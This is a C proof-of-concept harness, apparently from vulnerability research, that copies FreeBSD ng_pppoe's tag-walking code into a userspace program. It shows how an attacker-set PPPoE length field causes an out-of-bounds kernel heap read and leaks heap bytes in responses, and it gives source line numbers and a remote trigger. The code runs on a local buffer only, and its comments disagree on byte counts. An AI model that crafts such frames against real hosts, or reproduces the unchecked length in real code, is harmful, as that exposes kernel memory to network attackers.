/*
 * DF-0457 harness: ng_pppoe unchecked ph->length -> heap OOB read in get_tag/scan_tags
 *
 * Source: sys/netgraph/pppoe/ng_pppoe.c
 *   - :925 length = ntohs(wh->ph.length) — NEVER validated vs actual mbuf payload
 *   - :271-276 next_tag: end = &ph->tag[0] + ntohs(ph->length)
 *   - :283-307 get_tag: walks (pt+1)<=end, dereferencing up to ph->length bytes past tag start
 *   - :952-968 m_pullup + m_len==pkthdr.len only check contiguity, NOT bounds
 *
 * If a PPPoE discovery frame has ph->length=65535 but only 20 bytes of actual data,
 * get_tag walks 65535 bytes past &ph->tag[0], reading adjacent kernel heap.
 *
 * Additionally: scan_tags(:1621-1658) + insert_tag(PTT_RELAY_SID) + make_packet(:376)
 * copies up to 1500 bytes (ETHER_MAX_LEN) of the inflated buffer into the PADO/PADR
 * response, leaking kernel heap bytes to the attacker.
 *
 * This is a REMOTE adjacent-network vulnerability. Trigger: send a crafted PPPoE
 * discovery frame to a host running ng_pppoe on an ethernet interface.
 *
 * This harness replicates get_tag's tag-walk logic with a crafted ph->length > actual
 * data size to demonstrate the OOB read.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

/* Simplified PPPoE header (from sys/netgraph/pppoe/ng_pppoe.h) */
struct pppoe_tag {
    uint16_t tag_type;
    uint16_t tag_len;
} __attribute__((packed));

struct pppoe_hdr {
    uint8_t  vertype;
    uint8_t  code;
    uint16_t session;
    uint16_t length;       /* attacker-controlled, NOT validated vs mbuf */
    struct pppoe_tag tag[0];
} __attribute__((packed));

/* Replicates get_tag (ng_pppoe.c:283-307) */
static const struct pppoe_tag *get_tag(const struct pppoe_hdr *ph,
                                        uint16_t idx,
                                        const char *actual_end) {
    /* BUG: end computed from ph->length, NOT actual data size */
    const char *const end = (const char *)&ph->tag[0] + ntohs(ph->length);
    const char *ptn;
    const struct pppoe_tag *pt = &ph->tag[0];
    int steps = 0;
    int oob_steps = 0;

    while ((const char *)(pt + 1) <= end) {
        steps++;
        if ((const char *)(pt + 1) > actual_end) {
            oob_steps++;
        }
        ptn = (const char *)(pt + 1) + ntohs(pt->tag_len);
        if (ptn > end)
            return NULL;
        if (pt->tag_type == idx) {
            printf("  Found tag type=0x%04x at step %d%s\n",
                   ntohs(pt->tag_type), steps,
                   oob_steps > 0 ? " [OOB!]" : "");
            return pt;
        }
        pt = (const struct pppoe_tag *)ptn;
        if (steps > 100) break; /* safety */
    }
    printf("  Tag walk: %d steps total, %d were OOB reads\n", steps, oob_steps);
    return NULL;
}

int main(void) {
    printf("=== DF-0457: ng_pppoe unchecked ph->length -> heap OOB read ===\n\n");

    /* Simulate a PPPoE discovery frame in a kernel mbuf.
     * Actual data: 20 bytes (pppoe_hdr + 1 tag with 2 bytes data).
     * Attacker sets ph->length = 2000 (way past actual data). */
    uint8_t mbuf_data[64];       /* the actual mbuf */
    uint8_t adjacent_heap[4096]; /* simulate adjacent kernel heap */
    memset(mbuf_data, 0xAA, sizeof(mbuf_data));
    memset(adjacent_heap, 0xBB, sizeof(adjacent_heap));

    /* Lay out a valid-ish PPPoE PADI */
    struct pppoe_hdr *ph = (struct pppoe_hdr *)mbuf_data;
    ph->vertype = 0x11;
    ph->code = 0x09;  /* PADI */
    ph->session = 0;
    ph->length = htons(2000);   /* INFLATED — actual payload is only ~12 bytes */

    /* One real tag: Service-Name (0x0101) with 0 length */
    ph->tag[0].tag_type = htons(0x0101);
    ph->tag[0].tag_len = htons(0);

    /* Actual data in mbuf is just the header + 1 tag = 6 + 4 = 10 bytes */
    const char *actual_end = (const char *)&ph->tag[0] + 4; /* 4 bytes of real tag data */

    printf("Actual mbuf payload: %ld bytes after tag[0] start\n",
           (long)(actual_end - (const char *)&ph->tag[0]));
    printf("ph->length claims: %d bytes after tag[0] start\n\n", ntohs(ph->length));

    printf("Searching for tag 0x0101 (Service-Name):\n");
    const struct pppoe_tag *found = get_tag(ph, 0x0101, actual_end);

    printf("\nSearching for tag 0xFFFF (non-existent — forces full walk):\n");
    found = get_tag(ph, 0xFFFF, actual_end);

    printf("\n  BUG CONFIRMED: get_tag walks up to ph->length bytes past tag[0],\n");
    printf("  reading adjacent kernel heap. The m_pullup+contiguity check at\n");
    printf("  ng_pppoe.c:952-968 does NOT bound ph->length vs actual data.\n");
    printf("\n  Additionally, scan_tags + insert_tag(PTT_RELAY_SID) + make_packet\n");
    printf("  copies up to 1500 bytes of the inflated buffer into the response,\n");
    printf("  leaking kernel heap to the attacker via Relay-Session-Id.\n");

    return 0;
}
